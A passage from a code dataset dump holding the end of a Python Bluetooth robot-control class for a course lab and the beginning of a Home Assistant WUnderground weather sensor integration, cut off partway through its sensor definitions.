98*[0]))\n\n async def __bleak_testByteStream(self, length):\n print(f\"Length is {length}\")\n await self.bt_interface.write_gatt_char(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.START_BYTESTREAM_TX.value] + [1] + [length] + 96*[0]))\n\n def updateMotor(self, m, value):\n with self.theLock:\n try:\n self.mValues[m] = value\n # self.refreshMotors()\n except KeyError:\n pass\n\n def keyboardUpdate(self):\n newState = {\"left\": 0, \"right\": 0}\n if self.keyStatus[\"up\"]:\n newState[\"left\"] += 127\n newState[\"right\"] += 127\n if self.keyStatus[\"left\"]:\n newState[\"left\"] -= 127\n newState[\"right\"] += 127\n if self.keyStatus[\"right\"]:\n newState[\"left\"] += 127\n newState[\"right\"] -= 127\n if self.keyStatus[\"down\"]:\n newState[\"left\"] -= 127\n newState[\"right\"] -= 127\n for k, v in newState.items():\n if (v > 127):\n v = 127\n if (v < -127):\n v = -127\n if v < 0:\n v += 256\n self.mValues[k] = v\n self.updateFlag = True\n\n def refreshMotors(self):\n now = time.time()\n if (now-self.lastTime > 0.05):\n print(\"Refreshed Motors\")\n self.lastTime = time.time()\n\n async def loopTask(self):\n if (self.updateFlag):\n now = time.time()\n if (now-self.lastTime > 0.05):\n await self.__bleak_setMotors(self.mValues[\"left\"], self.mValues[\"right\"])\n self.lastTime = time.time()\n self.updateFlag = False\n\n def __pygatt_setMotors(self, l, r):\n self.bt_interface.char_write(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.SET_MOTORS.value, 2, l, r]))\n\n async def __bleak_setMotors(self, l, r):\n await self.bt_interface.write_gatt_char(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.SET_MOTORS.value, 2, l, r]))\n\n def __pygatt_sendMessage(self, msg):\n # print(\"Trying to send a message\")\n self.bt_interface.char_write(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.SER_RX.value, len(msg) + 1]) +\n msg.encode() + b'\\x00')\n\n def pushMessage(self, msg):\n self.messageQueue.append(msg)\n\n def availMessage(self):\n return len(self.messageQueue) > 0\n\n def getMessage(self):\n if(len(self.messageQueue) > 0):\n return self.messageQueue.pop(0)\n else:\n return 0\n","sub_path":"Lab2/ece4960robot.py","file_name":"ece4960robot.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"57175432","text":"\"\"\"Support for WUnderground weather service.\"\"\"\nimport asyncio\nfrom datetime import timedelta\nimport logging\nimport re\nfrom typing import Any, Callable, Optional, Union\n\nimport aiohttp\nimport async_timeout\nimport voluptuous as vol\n\nfrom homeassistant.components import sensor\nfrom homeassistant.components.sensor import PLATFORM_SCHEMA\nfrom homeassistant.const import (\n ATTR_ATTRIBUTION,\n CONF_API_KEY,\n CONF_LATITUDE,\n CONF_LONGITUDE,\n CONF_MONITORED_CONDITIONS,\n DEGREE,\n IRRADIATION_WATTS_PER_SQUARE_METER,\n LENGTH_FEET,\n LENGTH_INCHES,\n LENGTH_KILOMETERS,\n LENGTH_MILES,\n PERCENTAGE,\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n TEMP_CELSIUS,\n TEMP_FAHRENHEIT,\n)\nfrom homeassistant.exceptions import PlatformNotReady\nfrom homeassistant.helpers.aiohttp_client import async_get_clientsession\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.entity import Entity\nfrom homeassistant.helpers.typing import ConfigType, HomeAssistantType\nfrom homeassistant.util import Throttle\n\n_RESOURCE = \"http://api.wunderground.com/api/{}/{}/{}/q/\"\n_LOGGER = logging.getLogger(__name__)\n\nATTRIBUTION = \"Data provided by the WUnderground weather service\"\n\nCONF_PWS_ID = \"pws_id\"\nCONF_LANG = \"lang\"\n\nDEFAULT_LANG = \"EN\"\n\nMIN_TIME_BETWEEN_UPDATES = timedelta(minutes=5)\n\n\n# Helper classes for declaring sensor configurations\n\n\nclass WUSensorConfig:\n \"\"\"WU Sensor Configuration.\n\n defines basic HA properties of the weather sensor and\n stores callbacks that can parse sensor values out of\n the json data received by WU API.\n \"\"\"\n\n def __init__(\n self,\n friendly_name: Union[str, Callable],\n feature: str,\n value: Callable[[\"WUndergroundData\"], Any],\n unit_of_measurement: Optional[str] = None,\n entity_picture=None,\n icon: str = \"mdi:gauge\",\n device_state_attributes=None,\n device_class=None,\n ):\n \"\"\"Initialize sensor configuration.\n\n :param friendly_name: Friendly name\n :param feature: WU feature. See:\n https://www.wunderground.com/weather/api/d/docs?d=data/index\n :param value: callback that extracts desired value from WUndergroundData object\n :param unit_of_measurement: unit of measurement\n :param entity_picture: value or callback returning URL of entity picture\n :param icon: icon name or URL\n :param device_state_attributes: dictionary of attributes, or callable that returns it\n \"\"\"\n self.friendly_name = friendly_name\n self.unit_of_measurement = unit_of_measurement\n self.feature = feature\n self.value = value\n self.entity_picture = entity_picture\n self.icon = icon\n self.device_state_attributes = device_state_attributes or {}\n self.device_class = device_class\n\n\nclass WUCurrentConditionsSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining sensor configurations for current conditions.\"\"\"\n\n def __init__(\n self,\n friendly_name: Union[str, Callable],\n field: str,\n icon: Optional[str] = \"mdi:gauge\",\n unit_of_measurement: Optional[str] = None,\n device_class=None,\n ):\n \"\"\"Initialize current conditions sensor configuration.\n\n :param friendly_name: Friendly name of sensor\n :field: Field name in the \"current_observation\" dictionary.\n :icon: icon name or URL, if None sensor will use current weather symbol\n :unit_of_measurement: unit of measurement\n \"\"\"\n super().__init__(\n friendly_name,\n \"conditions\",\n value=lambda wu: wu.data[\"current_observation\"][field],\n icon=icon,\n unit_of_measurement=unit_of_measurement,\n entity_picture=lambda wu: wu.data[\"current_observation\"][\"icon_url\"]\n if icon is None\n else None,\n device_state_attributes={\n \"date\": lambda wu: wu.data[\"current_observation\"][\"observation_time\"]\n },\n device_class=device_class,\n )\n\n\nclass WUDailyTextForecastSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining sensor configurations for daily text forecasts.\"\"\"\n\n def __init__(\n self, period: int, field: str, unit_of_measurement: Optional[str] = None\n ):\n \"\"\"Initialize daily text forecast sensor configuration.\n\n :param period: forecast period number\n :param field: field name to use as value\n :param unit_of_measurement: unit of measurement\n \"\"\"\n super().__init__(\n friendly_name=lambda wu: wu.data[\"forecast\"][\"txt_forecast\"][\"forecastday\"][\n period\n ][\"title\"],\n feature=\"forecast\",\n value=lambda wu: wu.data[\"forecast\"][\"txt_forecast\"][\"forecastday\"][period][\n field\n ],\n entity_picture=lambda wu: wu.data[\"forecast\"][\"txt_forecast\"][\n \"forecastday\"\n ][period][\"icon_url\"],\n unit_of_measurement=unit_of_measurement,\n device_state_attributes={\n \"date\": lambda wu: wu.data[\"forecast\"][\"txt_forecast\"][\"date\"]\n },\n )\n\n\nclass WUDailySimpleForecastSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining sensor configurations for daily simpleforecasts.\"\"\"\n\n def __init__(\n self,\n friendly_name: str,\n period: int,\n field: str,\n wu_unit: Optional[str] = None,\n ha_unit: Optional[str] = None,\n icon=None,\n device_class=None,\n ):\n \"\"\"Initialize daily simple forecast sensor configuration.\n\n :param friendly_name: friendly_name of the sensor\n :param period: forecast period number\n :param field: field name to use as value\n :param wu_unit: \"fahrenheit\", \"celsius\", \"degrees\" etc. see the example json at:\n https://www.wunderground.com/weather/api/d/docs?d=data/forecast&MR=1\n :param ha_unit: corresponding unit in Home Assistant\n \"\"\"\n super().__init__(\n friendly_name=friendly_name,\n feature=\"forecast\",\n value=(\n lambda wu: wu.data[\"forecast\"][\"simpleforecast\"][\"forecastday\"][period][\n field\n ][wu_unit]\n )\n if wu_unit\n else (\n lambda wu: wu.data[\"forecast\"][\"simpleforecast\"][\"forecastday\"][period][\n field\n ]\n ),\n unit_of_measurement=ha_unit,\n entity_picture=lambda wu: wu.data[\"forecast\"][\"simpleforecast\"][\n \"forecastday\"\n ][period][\"icon_url\"]\n if not icon\n else None,\n icon=icon,\n device_state_attributes={\n \"date\": lambda wu: wu.data[\"forecast\"][\"simpleforecast\"][\"forecastday\"][\n period\n ][\"date\"][\"pretty\"]\n },\n device_class=device_class,\n )\n\n\nclass WUHourlyForecastSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining sensor configurations for hourly text forecasts.\"\"\"\n\n def __init__(self, period: int, field: int):\n \"\"\"Initialize hourly forecast sensor configuration.\n\n :param period: forecast period number\n :param field: field name to use as value\n \"\"\"\n super().__init__(\n friendly_name=lambda wu: (\n f\"{wu.data['hourly_forecast'][period]['FCTTIME']['weekday_name_abbrev']} \"\n f\"{wu.data['hourly_forecast'][period]['FCTTIME']['civil']}\"\n ),\n feature=\"hourly\",\n value=lambda wu: wu.data[\"hourly_forecast\"][period][field],\n entity_picture=lambda wu: wu.data[\"hourly_forecast\"][period][\"icon_url\"],\n device_state_attributes={\n \"temp_c\": lambda wu: wu.data[\"hourly_forecast\"][period][\"temp\"][\n \"metric\"\n ],\n \"temp_f\": lambda wu: wu.data[\"hourly_forecast\"][period][\"temp\"][\n \"english\"\n ],\n \"dewpoint_c\": lambda wu: wu.data[\"hourly_forecast\"][period][\"dewpoint\"][\n \"metric\"\n ],\n \"dewpoint_f\": lambda wu: wu.data[\"hourly_forecast\"][period][\"dewpoint\"][\n \"english\"\n ],\n \"precip_prop\": lambda wu: wu.data[\"hourly_forecast\"][period][\"pop\"],\n \"sky\": lambda wu: wu.data[\"hourly_forecast\"][period][\"sky\"],\n \"precip_mm\": lambda wu: wu.data[\"hourly_forecast\"][period][\"qpf\"][\n \"metric\"\n ],\n \"precip_in\": lambda wu: wu.data[\"hourly_forecast\"][period][\"qpf\"][\n \"english\"\n ],\n \"humidity\": lambda wu: wu.data[\"hourly_forecast\"][period][\"humidity\"],\n \"wind_kph\": lambda wu: wu.data[\"hourly_forecast\"][period][\"wspd\"][\n \"metric\"\n ],\n \"wind_mph\": lambda wu: wu.data[\"hourly_forecast\"][period][\"wspd\"][\n \"english\"\n ],\n \"pressure_mb\": lambda wu: wu.data[\"hourly_forecast\"][period][\"mslp\"][\n \"metric\"\n ],\n \"pressure_inHg\": lambda wu: wu.data[\"hourly_forecast\"][period][\"mslp\"][\n \"english\"\n ],\n \"date\": lambda wu: wu.data[\"hourly_forecast\"][period][\"FCTTIME\"][\n \"pretty\"\n ],\n },\n )\n\n\nclass WUAlmanacSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining field configurations for almanac sensors.\"\"\"\n\n def __init__(\n self,\n friendly_name: Union[str, Callable],\n field: str,\n value_type: str,\n wu_unit: str,\n unit_of_measurement: str,\n icon: str,\n device_class=None,\n ):\n \"\"\"Initialize almanac sensor configuration.\n\n :param friendly_name: Friendly name\n :param field: value name returned in 'almanac' dict as returned by the WU API\n :param value_type: \"record\" or \"normal\"\n :param wu_unit: unit name in WU API\n :param unit_of_measurement: unit of measurement\n :param icon: icon name or URL\n \"\"\"\n super().__init__(\n friendly_name=friendly_name,\n feature=\"almanac\",\n value=lambda wu: wu.data[\"almanac\"][field][value_type][wu_unit],\n unit_of_measurement=unit_of_measurement,\n icon=icon,\n device_class=\"temperature\",\n )\n\n\nclass WUAlertsSensorConfig(WUSensorConfig):\n \"\"\"Helper for defining field configuration for alerts.\"\"\"\n\n def __init__(self, friendly_name: Union[str, Callable]):\n \"\"\"Initialiize alerts sensor configuration.\n\n :param friendly_name: Friendly name\n \"\"\"\n super().__init__(\n friendly_name=friendly_name,\n feature=\"alerts\",\n value=lambda wu: len(wu.data[\"alerts\"]),\n icon=lambda wu: \"mdi:alert-circle-outline\"\n if wu.data[\"alerts\"]\n else \"mdi:check-circle-outline\",\n device_state_attributes=self._get_attributes,\n )\n\n @staticmethod\n def _get_attributes(rest):\n\n attrs = {}\n\n if \"alerts\" not in rest.data:\n return attrs\n\n alerts = rest.data[\"alerts\"]\n multiple_alerts = len(alerts) > 1\n for data in alerts:\n for alert in ALERTS_ATTRS:\n if data[alert]:\n if multiple_alerts:\n dkey = f\"{alert.capitalize()}_{data['type']}\"\n else:\n dkey = alert.capitalize()\n attrs[dkey] = data[alert]\n return attrs\n\n\n# Declaration of supported WU sensors\n# (see above helper classes for argument explanation)\n\nSENSOR_TYPES = {\n \"alerts\": WUAlertsSensorConfig(\"Alerts\"),\n \"dewpoint_c\": WUCurrentConditionsSensorConfig(\n \"Dewpoint\", \"dewpoint_c\", \"mdi:water\", TEMP_CELSIUS\n ),\n \"dewpoint_f\": WUCurrentConditionsSensorConfig(\n \"Dewpoint\", \"dewpoint_f\", \"mdi:water\", TEMP_FAHRENHEIT\n ),\n \"dewpoint_string\": WUCurrentConditionsSensorConfig(\n \"Dewpoint Summary\", \"dewpoint_string\", \"mdi:water\"\n ),\n \"feelslike_c\": WUCurrentConditionsSensorConfig(\n \"Feels Like\", \"feelslike_c\", \"mdi:thermometer\", TEMP_CELSIUS\n ),\n \"feelslike_f\": WUCurrentConditionsSensorConfig(\n \"Feels Like\", \"feelslike_f\", \"mdi:thermometer\", TEMP_FAHRENHEIT\n ),\n \"feelslike_string\": WUCurrentConditionsSensorConfig(\n \"Feels Like\", \"feelslike_string\", \"mdi:thermometer\"\n ),\n \"heat_index_c\": WUCurrentConditionsSensorConfig(\n \"Heat index\", \"heat_index_c\", \"mdi:thermometer\", TEMP_CELSIUS\n ),\n \"heat_index_f\": WUCurrentConditionsSensorConfig(\n \"Heat index\", \"heat_index_f\", \"mdi:thermometer\", TEMP_FAHRENHEIT\n ),\n \"heat_index_string\": WUCurrentConditionsSensorConfig(\n \"Heat Index Summary\", \"heat_index_string\", \"mdi:thermometer\"\n ),\n \"elevation\": WUSensorConfig(\n \"Elevation\",\n \"conditions\",\n value=lambda wu: wu.data[\"current_observation\"][\"observation_location\"][\n \"elevation\"\n ].split()[0],\n unit_of_measurement=LENGTH_FEET,\n icon=\"mdi:elevation-rise\",\n ),\n \"location\": WUSensorConfig(\n \"Location\",\n \"conditions\",\n value=lambda wu: wu.data[\"current_observation\"][\"display_location\"][\"full\"],\n icon=\"mdi:map-marker\",\n ),\n \"observation_time\": WUCurrentConditionsSensorConfig(\n \"Observation Time\", \"observation_time\", \"mdi:clock\"\n ),\n \"precip_1hr_in\": WUCurrentConditionsSensorConfig(\n \"Precipitation 1hr\", \"precip_1hr_in\", \"mdi:umbrella\", LENGTH_INCHES\n ),\n \"precip_1hr_metric\": WUCurrentConditionsSensorConfig(\n \"Precipitation 1hr\", \"precip_1hr_metric\", \"mdi:umbrella\", \"mm\"\n ),\n \"precip_1hr_string\": WUCurrentConditionsSensorConfig(\n \"Precipitation 1hr\", \"precip_1hr_string\", \"mdi:umbrella\"\n ),\n \"precip_today_in\": WUCurrentConditionsSensorConfig(\n \"Precipitation Today\", \"precip_today_in\", \"mdi:umbrella\", LENGTH_INCHES\n ),\n \"precip_today_metric\": WUCurrentConditionsSensorConfig(\n \"Precipitation Today\", \"precip_today_metric\", \"mdi:umbrella\", \"mm\"\n ),\n \"precip_today_string\": WUCurrentConditionsSensorConfig(\n \"Precipitation Today\", \"precip_today_string\", \"mdi:umbrella\"\n ),\n \"pressure_in\": WUCurrentConditionsSensorConfig(\n \"Pressure\", \"pressure_in\", \"mdi:gauge\", \"inHg\", device_class=\"pressure\"\n ),\n \"pressure_mb\": WUCurrentConditionsSensorConfig(\n \"Pressure\", \"pressure_mb\", \"mdi:gauge\", \"mb\", device_class=\"pressure\"\n ),\n \"pressure_trend\": WUCurrentConditionsSensorConfig(\n \"Pressure Trend\", \"pressure_trend\", \"mdi:gauge\", device_class=\"pressure\"\n ),\n \"relative_humidity\": WUSensorConfig(\n \"Relative Humidity\",\n \"conditions\",\n value=lambda wu: int(wu.data[\"current_observation\"][\"relative_humidity\"][:-1]),\n unit_of_measurement=PERCENTAGE,\n icon=\"mdi:water-percent\",\n device_class=\"humidity\",\n ),\n \"station_id\": WUCurrentConditionsSensorConfig(\n \"Station ID\", \"station_id\", \"mdi:home\"\n ),\n \"solarradiation\": WUCurrentConditionsSensorConfig(\n \"Solar Radiation\",\n \"solarradiation\",\n \"mdi:weather-sunny\",\n IRRADIATION_WATTS_PER_SQUARE_METER,\n ),\n \"temperature_string\": WUCurrentConditionsSensorConfig(\n \"Temperature Summary\", \"temperature_string\", \"mdi:thermometer\"\n ),\n \"temp_c\": WUCurrentConditionsSensorConfig(\n \"Temperature\",\n \"temp_c\",\n \"mdi:thermometer\",\n TEMP_CELSIUS,\n device_class=\"temperature\",\n ),\n \"temp_f\": WUCurrentConditionsSensorConfig(\n \"Temperature\",\n \"temp_f\",\n \"mdi:thermometer\",\n TEMP_FAHRENHEIT,\n device_class=\"temperature\",\n ),\n \"UV\": WUCurrentConditionsSensorConfig(\"UV\", \"UV\", \"mdi:sunglasses\"),\n \"visibility_km\": WUCurrentConditionsSensorConfig(\n \"Visibility (km)\", \"visibility_km\", \"mdi:eye\", LENGTH_KILOMETERS\n ),\n \"visibility_mi\": WUCurrentConditionsSensorConfig(\n \"Visibility (miles)\", \"visibility_mi\", \"mdi:eye\", LENGTH_MILES\n ),\n \"weather\": WUCurrentConditionsSensorConfig(\"Weather Summary\", \"weather\", None),\n \"wind_degrees\": WUCurrentConditionsSensorConfig(\n \"Wind Degrees\", \"wind_degrees\", \"mdi:weather-windy\", DEGREE\n ),\n \"wind_dir\": WUCurrentConditionsSensorConfig(\n \"Wind Direction\", \"wind_dir\", \"mdi:weather-windy\"\n ),\n \"wind_gust_kph\": WUCurrentConditionsSensorConfig(\n \"Wind Gust\", \"wind_gust_kph\", \"mdi:weather-windy\", SPEED_KILOMETERS_PER_HOUR\n ),\n \"wind_gust_mph\": WUCurrentConditionsSensorConfig(\n \"Wind Gust\", \"wind_gust_mph\", \"mdi:weather-windy\", SPEED_MILES_PER_HOUR\n ),\n \"wind_kph\": WUCurrentConditionsSensorConfig(\n \"Wind Speed\", \"wind_kph\", \"mdi:weather-windy\", SPEED_KILOMETERS_PER_HOUR\n ),\n \"wind_mph\": WUCurrentConditionsSensorConfig(\n \"Wind Speed\", \"wind_mph\", \"mdi:weather-windy\", SPEED_MILES_PER_HOUR\n ),\n \"wind_string\": WUCurrentConditionsSensorConfig(\n \"Wind Summary\", \"wind_string\", \"mdi:weather-windy\"\n ),\n \"temp_high_record_c\": WUAlmanacSensorConfig(\n lambda wu: (\n f\"High Temperature Record \"\n f\"({wu.data['almanac']['temp_high']['recordyear']})\"\n ),\n \"temp_high\",\n \"record\",\n \"C\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n ),\n \"temp_high_record_f\": WUAlmanacSensorConfig(\n lambda wu: (\n f\"High Temperature Record \"\n f\"({wu.data['almanac']['temp_high']['recordyear']})\"\n ),\n \"temp_high\",\n \"record\",\n \"F\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n ),\n \"temp_low_record_c\": WUAlmanacSensorConfig(\n lambda wu: (\n f\"Low Temperature Record \"\n f\"({wu.data['almanac']['temp_low']['recordyear']})\"\n ),\n \"temp_low\",\n \"record\",\n \"C\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n ),\n \"temp_low_record_f\": WUAlmanacSensorConfig(\n lambda wu: (\n f\"Low Temperature Record \"\n f\"({wu.data['almanac']['temp_low']['recordyear']})\"\n ),\n \"temp_low\",\n \"record\",\n \"F\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n ),\n \"temp_low_avg_c\": WUAlmanacSensorConfig(\n \"Historic Average of Low Temperatures for Today\",\n \"temp_low\",\n \"normal\",\n \"C\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n ),\n \"temp_low_avg_f\": WUAlmanacSensorConfig(\n \"Historic Average of Low Temperatures for Today\",\n \"temp_low\",\n \"normal\",\n \"F\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n ),\n \"temp_high_avg_c\": WUAlmanacSensorConfig(\n \"Historic Average of High Temperatures for Today\",\n \"temp_high\",\n \"normal\",\n \"C\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n ),\n \"temp_high_avg_f\": WUAlmanacSensorConfig(\n \"Historic Average of High Temperatures for Today\",\n \"temp_high\",\n \"normal\",\n \"F\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n ),\n \"weather_1d\": WUDailyTextForecastSensorConfig(0, \"fcttext\"),\n \"weather_1d_metric\": WUDailyTextForecastSensorConfig(0, \"fcttext_metric\"),\n \"weather_1n\": WUDailyTextForecastSensorConfig(1, \"fcttext\"),\n \"weather_1n_metric\": WUDailyTextForecastSensorConfig(1, \"fcttext_metric\"),\n \"weather_2d\": WUDailyTextForecastSensorConfig(2, \"fcttext\"),\n \"weather_2d_metric\": WUDailyTextForecastSensorConfig(2, \"fcttext_metric\"),\n \"weather_2n\": WUDailyTextForecastSensorConfig(3, \"fcttext\"),\n \"weather_2n_metric\": WUDailyTextForecastSensorConfig(3, \"fcttext_metric\"),\n \"weather_3d\": WUDailyTextForecastSensorConfig(4, \"fcttext\"),\n \"weather_3d_metric\": WUDailyTextForecastSensorConfig(4, \"fcttext_metric\"),\n \"weather_3n\": WUDailyTextForecastSensorConfig(5, \"fcttext\"),\n \"weather_3n_metric\": WUDailyTextForecastSensorConfig(5, \"fcttext_metric\"),\n \"weather_4d\": WUDailyTextForecastSensorConfig(6, \"fcttext\"),\n \"weather_4d_metric\": WUDailyTextForecastSensorConfig(6, \"fcttext_metric\"),\n \"weather_4n\": WUDailyTextForecastSensorConfig(7, \"fcttext\"),\n \"weather_4n_metric\": WUDailyTextForecastSensorConfig(7, \"fcttext_metric\"),\n \"weather_1h\": WUHourlyForecastSensorConfig(0, \"condition\"),\n \"weather_2h\": WUHourlyForecastSensorConfig(1, \"condition\"),\n \"weather_3h\": WUHourlyForecastSensorConfig(2, \"condition\"),\n \"weather_4h\": WUHourlyForecastSensorConfig(3, \"condition\"),\n \"weather_5h\": WUHourlyForecastSensorConfig(4, \"condition\"),\n \"weather_6h\": WUHourlyForecastSensorConfig(5, \"condition\"),\n \"weather_7h\": WUHourlyForecastSensorConfig(6, \"condition\"),\n \"weather_8h\": WUHourlyForecastSensorConfig(7, \"condition\"),\n \"weather_9h\": WUHourlyForecastSensorConfig(8, \"condition\"),\n \"weather_10h\": WUHourlyForecastSensorConfig(9, \"condition\"),\n \"weather_11h\": WUHourlyForecastSensorConfig(10, \"condition\"),\n \"weather_12h\": WUHourlyForecastSensorConfig(11, \"condition\"),\n \"weather_13h\": WUHourlyForecastSensorConfig(12, \"condition\"),\n \"weather_14h\": WUHourlyForecastSensorConfig(13, \"condition\"),\n \"weather_15h\": WUHourlyForecastSensorConfig(14, \"condition\"),\n \"weather_16h\": WUHourlyForecastSensorConfig(15, \"condition\"),\n \"weather_17h\": WUHourlyForecastSensorConfig(16, \"condition\"),\n \"weather_18h\": WUHourlyForecastSensorConfig(17, \"condition\"),\n \"weather_19h\": WUHourlyForecastSensorConfig(18, \"condition\"),\n \"weather_20h\": WUHourlyForecastSensorConfig(19, \"condition\"),\n \"weather_21h\": WUHourlyForecastSensorConfig(20, \"condition\"),\n \"weather_22h\": WUHourlyForecastSensorConfig(21, \"condition\"),\n \"weather_23h\": WUHourlyForecastSensorConfig(22, \"condition\"),\n \"weather_24h\": WUHourlyForecastSensorConfig(23, \"condition\"),\n \"weather_25h\": WUHourlyForecastSensorConfig(24, \"condition\"),\n \"weather_26h\": WUHourlyForecastSensorConfig(25, \"condition\"),\n \"weather_27h\": WUHourlyForecastSensorConfig(26, \"condition\"),\n \"weather_28h\": WUHourlyForecastSensorConfig(27, \"condition\"),\n \"weather_29h\": WUHourlyForecastSensorConfig(28, \"condition\"),\n \"weather_30h\": WUHourlyForecastSensorConfig(29, \"condition\"),\n \"weather_31h\": WUHourlyForecastSensorConfig(30, \"condition\"),\n \"weather_32h\": WUHourlyForecastSensorConfig(31, \"condition\"),\n \"weather_33h\": WUHourlyForecastSensorConfig(32, \"condition\"),\n \"weather_34h\": WUHourlyForecastSensorConfig(33, \"condition\"),\n \"weather_35h\": WUHourlyForecastSensorConfig(34, \"condition\"),\n \"weather_36h\": WUHourlyForecastSensorConfig(35, \"condition\"),\n \"temp_high_1d_c\": WUDailySimpleForecastSensorConfig(\n \"High Temperature Today\",\n 0,\n \"high\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_2d_c\": WUDailySimpleForecastSensorConfig(\n \"High Temperature Tomorrow\",\n 1,\n \"high\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_3d_c\": WUDailySimpleForecastSensorConfig(\n \"High Temperature in 3 Days\",\n 2,\n \"high\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_4d_c\": WUDailySimpleForecastSensorConfig(\n \"High Temperature in 4 Days\",\n 3,\n \"high\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_1d_f\": WUDailySimpleForecastSensorConfig(\n \"High Temperature Today\",\n 0,\n \"high\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_2d_f\": WUDailySimpleForecastSensorConfig(\n \"High Temperature Tomorrow\",\n 1,\n \"high\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_3d_f\": WUDailySimpleForecastSensorConfig(\n \"High Temperature in 3 Days\",\n 2,\n \"high\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_high_4d_f\": WUDailySimpleForecastSensorConfig(\n \"High Temperature in 4 Days\",\n 3,\n \"high\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_1d_c\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature Today\",\n 0,\n \"low\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_2d_c\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature Tomorrow\",\n 1,\n \"low\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_3d_c\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature in 3 Days\",\n 2,\n \"low\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_4d_c\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature in 4 Days\",\n 3,\n \"low\",\n \"celsius\",\n TEMP_CELSIUS,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_1d_f\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature Today\",\n 0,\n \"low\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_2d_f\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature Tomorrow\",\n 1,\n \"low\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_3d_f\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature in 3 Days\",\n 2,\n \"low\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"temp_low_4d_f\": WUDailySimpleForecastSensorConfig(\n \"Low Temperature in 4 Days\",\n 3,\n \"low\",\n \"fahrenheit\",\n TEMP_FAHRENHEIT,\n \"mdi:thermometer\",\n device_class=\"temperature\",\n ),\n \"wind_gust_1d_kph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind Today\",\n 0,\n \"maxwind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_2d_kph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind Tomorrow\",\n 1,\n \"maxwind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_3d_kph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind in 3 Days\",\n 2,\n \"maxwind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_4d_kph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind in 4 Days\",\n 3,\n \"maxwind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_1d_mph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind Today\",\n 0,\n \"maxwind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_2d_mph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind Tomorrow\",\n 1,\n \"maxwind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_gust_3d_mph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind in 3 Days\",\n 2,\n \"maxwind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n 